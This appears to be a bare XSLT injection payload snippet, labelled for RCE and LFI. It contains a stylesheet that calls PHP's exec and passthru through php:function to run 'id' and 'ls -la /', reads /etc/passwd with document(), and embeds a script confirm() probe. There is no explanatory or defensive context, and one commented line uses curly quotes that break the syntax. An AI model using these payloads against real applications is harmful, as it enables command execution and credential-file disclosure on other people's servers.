xslt - injection - command - execution - rce - lfi -

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
  <xsl:template match="/">
  <script>confirm("We're good");</script>
   <!--
   <xsl:value-of select="php:function('exec','id')"/>
   <xsl:value-of select="php:function(‘passthru’,’ls -la /’)"/>
   <xsl:copy-of select="document('/etc/passwd')"/>
   <xsl:value-of select="php:function('passthru','ls -la /')"/>
   -->
   <xsl:value-of select="php:function('passthru','ls -la /')"/>

  </xsl:template>
</xsl:stylesheet>